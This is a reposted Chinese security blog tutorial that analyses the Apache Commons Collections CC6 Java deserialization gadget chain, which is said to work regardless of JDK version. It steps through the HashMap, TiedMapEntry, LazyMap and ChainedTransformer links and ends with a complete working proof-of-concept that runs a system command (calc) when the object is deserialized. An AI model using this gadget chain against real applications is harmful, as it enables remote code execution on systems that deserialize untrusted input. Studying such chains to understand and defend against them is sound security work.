0


Java安全 反序列化(5) CC6链原理分析

Java安全 反序列化(5) CC6链原理分析

CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版

文章目录

前言

上篇文章我们通过

LazyMap.get()

方法实现

ChainerTransformer

的链式调用

但是我们再次依赖了

AnnotationInvocationHandler

作为我们反序列化后的入口类

在JDK 8u71以后开发者重写了

AnnotationInvocationHandler

使我们依赖

AnnotationInvocationHandler

调用

LazyMap.get()

TransformerMap.checkSetValue

实现ChaindeTransformer.transform()方法失效

如何让调用

ChaindeTransformer.transform()

执行任意命令可以无视JDK版本?

我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?

通过自动调用hashcode方法最终实现

ChainerTransformer

的链式调用

一.CC6的原理和实现以及易错点

我们如何实现调用LazyMap.get()方法

如果我们查找用法,会发现非常多的结果

image-20240322164733384

前辈们通过

TiedMapEntry

类实现

HashMap

LazyMap

的联系

回顾一下HashMap重写了readobject方法

putVal(hash(key), key, value,false,false);
staticfinalinthash(Object key){int h;return(key ==null)?0:(h = key.hashCode())^(h >>>16);}

调用了传入键值对象的hashCode方法

而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移

image-20240322170023348

hashCode方法调用了自身getValue方法

而恰好getValue方法可以调用传入map的get方法

image-20240322170148274

map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样

我们可以直接拿上篇文章的payload进行修改后半段

Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};HashMap<Object,Object> hashmap=newHashMap<>();ChainedTransformer chainedTransformer =newChainedTransformer(transformers);Map<Object,Object> lazymap=LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry接受

Map map,Object key

image-20240322170650821

我们需要控制map为LazyMap对象,key值任意

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");

而HashMap中控制key值为tiedMapEntry

HashMap<Object,Object> map2=newHashMap<>();
map2.put(tiedMapEntry,1);

一个易错点

当我们不反序列化时,直接执行代码,居然也可以RCE

Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};HashMap<Object,Object> hashmap=newHashMap<>();ChainedTransformer chainedTransformer =newChainedTransformer(transformers);Map<Object,Object> lazymap=LazyMap.decorate(hashmap,chainedTransformer);TiedMapEntry tiedMapEntry =newTiedMapEntry(lazymap,"key");HashMap<Object,Object> map2=newHashMap<>();
        map2.put(tiedMapEntry,1);}

image-20240322171633815

原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法

对我们的结果造成干扰

image-20240322160435862

因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发

如何操作?

Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));

我们可以随便传个

new ConstantTransformer(1)

代替

chainedTransformer

使它put时不触发,put后再传回正确的值

同时还要注意再

LazyMap.get()

方法中想要实现

ChainedTransformer.transform()

就必须保证LazyMap的Key为空

image-20240322173115626

而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发

factory.transform(key)

过不了判断

image-20240322174554789

所以put后我们删除LazyMap的键值

lazymap.remove("key");

再通过反射修改

LazyMap.decorate(hashmap,new ConstantTransformer(1));

中的键为

ChaindeTransformer

在运行时动态触发poc

Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

image-20240322175554734

可以实现RCE

二.完整CC6POC

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjava.io.*;importjava.lang.reflect.Field;importjava.util.HashMap;importjava.util.Map;publicclassCC6{publicstaticvoidmain(String[] args)throwsNoSuchFieldException,IllegalAccessException,IOException,ClassNotFoundException{Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};HashMap<Object,Object> hashmap=newHashMap<>();ChainedTransformer chainedTransformer =newChainedTransformer(transformers);Map<Object,Object> lazymap=LazyMap.decorate(hashmap,newConstantTransformer(1));TiedMapEntry tiedMapEntry =newTiedMapEntry(lazymap,"key");HashMap<Object,Object> map2=newHashMap<>();
        map2.put(tiedMapEntry,1);
        lazymap.remove("key");Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);serialize(map2);unserialize();}publicstaticvoidserialize(Object obj)throwsIOException{ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();}publicstaticvoidunserialize()throwsIOException,ClassNotFoundException{ObjectInputStream ois =newObjectInputStream(newFileInputStream("ser.bin"));
        ois.readObject();
        ois.close();}}

本文转载自: https://blog.csdn.net/qq_39947980/article/details/136948508
版权归原作者 J1rrY_ 所有, 如有侵权,请联系我们删除。

“Java安全 反序列化(5) CC6链原理分析”的评论:

还没有评论